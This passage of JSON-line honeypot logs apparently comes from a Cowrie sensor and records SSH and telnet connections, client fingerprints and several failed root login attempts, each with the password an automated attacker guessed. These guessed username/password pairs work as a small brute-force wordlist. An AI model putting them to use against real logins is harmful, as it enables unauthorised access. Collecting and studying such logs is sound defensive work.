ssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:45.144961Z","src_ip":"43.153.124.153","session":"414fb47a583e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa332211","message":"login attempt [root/aa332211] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:45.454749Z","src_ip":"43.153.124.153","session":"414fb47a583e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:46.528474Z","src_ip":"43.153.124.153","session":"414fb47a583e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":44214,"dst_ip":"159.203.135.109","dst_port":22,"session":"9103f1893816","protocol":"ssh","message":"New connection: 59.17.95.129:44214 (159.203.135.109:22) [session: 9103f1893816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:49.305189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:49.310772Z","src_ip":"59.17.95.129","session":"9103f1893816","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:49.508294Z","src_ip":"59.17.95.129","session":"9103f1893816","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":60526,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a5a1b6c653f","protocol":"ssh","message":"New connection: 147.45.199.80:60526 (10.17.0.5:22) [session: 4a5a1b6c653f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:49.814423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:49.819314Z","src_ip":"147.45.199.80","session":"4a5a1b6c653f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:49.923249Z","src_ip":"147.45.199.80","session":"4a5a1b6c653f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p0o9i8u7","message":"login attempt [root/p0o9i8u7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:50.238664Z","src_ip":"147.45.199.80","session":"4a5a1b6c653f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sammy","password":"admin","message":"login attempt [sammy/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:50.331216Z","src_ip":"59.17.95.129","session":"9103f1893816","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":60276,"dst_ip":"10.17.0.5","dst_port":22,"session":"deafea01af52","protocol":"ssh","message":"New connection: 58.186.20.143:60276 (10.17.0.5:22) [session: deafea01af52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:50.601033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:50.606844Z","src_ip":"58.186.20.143","session":"deafea01af52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52100,"dst_ip":"10.17.0.5","dst_port":23,"session":"aaebc5d6d49b","protocol":"telnet","message":"New connection: 152.42.224.71:52100 (10.17.0.5:23) [session: aaebc5d6d49b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:50.777687Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:50.863514Z","src_ip":"58.186.20.143","session":"deafea01af52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:51.345474Z","src_ip":"147.45.199.80","session":"4a5a1b6c653f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:51.530873Z","src_ip":"59.17.95.129","session":"9103f1893816","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.10.74.2","src_port":44657,"dst_ip":"10.17.0.5","dst_port":23,"session":"0421fc247c86","protocol":"telnet","message":"New connection: 46.10.74.2:44657 (10.17.0.5:23) [session: 0421fc247c86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:51.554020Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxcde32ws","message":"login attempt [root/1qazxcde32ws] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:51.899714Z","src_ip":"58.186.20.143","session":"deafea01af52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:53.154423Z","src_ip":"58.186.20.143","session":"deafea01af52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.78045439720154,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:02.124008Z","src_ip":"152.42.224.71","session":"105f5b7d97de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.541637897491455,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:04.095613Z","src_ip":"46.10.74.2","session":"0421fc247c86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":71.30786085128784,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:08.731576Z","src_ip":"152.42.224.71","session":"114251539af0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46398,"dst_ip":"10.17.0.5","dst_port":23,"session":"25370e443ac0","protocol":"telnet","message":"New connection: 152.42.224.71:46398 (10.17.0.5:23) [session: 25370e443ac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:09.045000Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.111.187","src_port":42582,"dst_ip":"159.203.135.109","dst_port":22,"session":"d604151b7030","protocol":"ssh","message":"New connection: 43.128.111.187:42582 (159.203.135.109:22) [session: d604151b7030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:10.370243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:10.376292Z","src_ip":"43.128.111.187","session":"d604151b7030","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:10.622258Z","src_ip":"43.128.111.187","session":"d604151b7030","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.69.201","src_port":33462,"dst_ip":"10.17.0.5","dst_port":22,"session":"39d16f1c554b","protocol":"ssh","message":"New connection: 43.153.69.201:33462 (10.17.0.5:22) [session: 39d16f1c554b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:11.028793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:11.033868Z","src_ip":"43.153.69.201","session":"39d16f1c554b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:11.102765Z","src_ip":"43.153.69.201","session":"39d16f1c554b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa332211","message":"login attempt [root/aa332211] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:11.407477Z","src_ip":"43.153.69.201","session":"39d16f1c554b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Arpit@123","message":"login attempt [root/Arpit@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:11.633943Z","src_ip":"43.128.111.187","session":"d604151b7030","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:12.479744Z","src_ip":"43.153.69.201","session":"39d16f1c554b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:12.881428Z","src_ip":"43.128.111.187","session":"d604151b7030","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.119.118","src_port":37580,"dst_ip":"10.17.0.5","dst_port":22,"session":"2da816499407","protocol":"ssh","message":"New connection: 170.106.119.118:37580 (10.17.0.5:22) [session: 2da816499407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:25.824681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:25.828859Z","src_ip":"170.106.119.118","session":"2da816499407","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:25.897841Z","src_ip":"170.106.119.118","session":"2da816499407","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"steak123","message":"login attempt [root/steak123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:26.207690Z","src_ip":"170.106.119.118","session":"2da816499407","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:27.280503Z","src_ip":"170.106.119.118","session":"2da816499407","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.63359308242798,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:33.411168Z","src_ip":"152.42.224.71","session":"aaebc5d6d49b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.132.141.112","src_port":41820,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe02ef9467bc","protocol":"ssh","message":"New connection: 79.132.141.112:41820 (10.17.0.5:22) [session: fe02ef9467bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:33.498357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:33.503195Z","src_ip":"79.132.141.112","session":"fe02ef9467bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:33.591069Z","src_ip":"79.132.141.112","session":"fe02ef9467bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pedro","message":"login attempt [root/pedro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:33.977382Z","src_ip":"79.132.141.112","session":"fe02ef9467bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.13.181","src_port":52158,"dst_ip":"159.203.135.109","dst_port":22,"session":"475472fbfa21","protocol":"ssh","message":"New connection: 154.83.13.181:52158 (159.203.135.109:22) [session: 475472fbfa21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:34.014750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:34.019476Z","src_ip":"154.83.13.181","session":"475472fbfa21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:12:35.003601Z","src_ip":"154.83.13.181","session":"475472fbfa21","protocol":"ssh"}
